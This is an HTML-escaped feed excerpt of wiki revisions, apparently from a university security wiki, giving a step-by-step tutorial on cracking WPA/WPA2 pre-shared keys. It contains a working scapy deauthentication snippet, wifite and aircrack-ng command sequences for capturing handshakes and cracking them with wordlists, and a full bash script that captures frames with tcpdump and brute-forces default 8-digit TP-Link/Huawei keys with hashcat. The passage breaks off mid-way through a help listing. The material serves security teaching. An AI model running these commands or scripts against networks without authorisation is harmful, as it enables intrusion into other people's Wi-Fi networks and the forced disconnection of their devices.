Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17529</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17529"/>
		<updated>2024-12-18T17:19:14Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* GNU/Linux */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
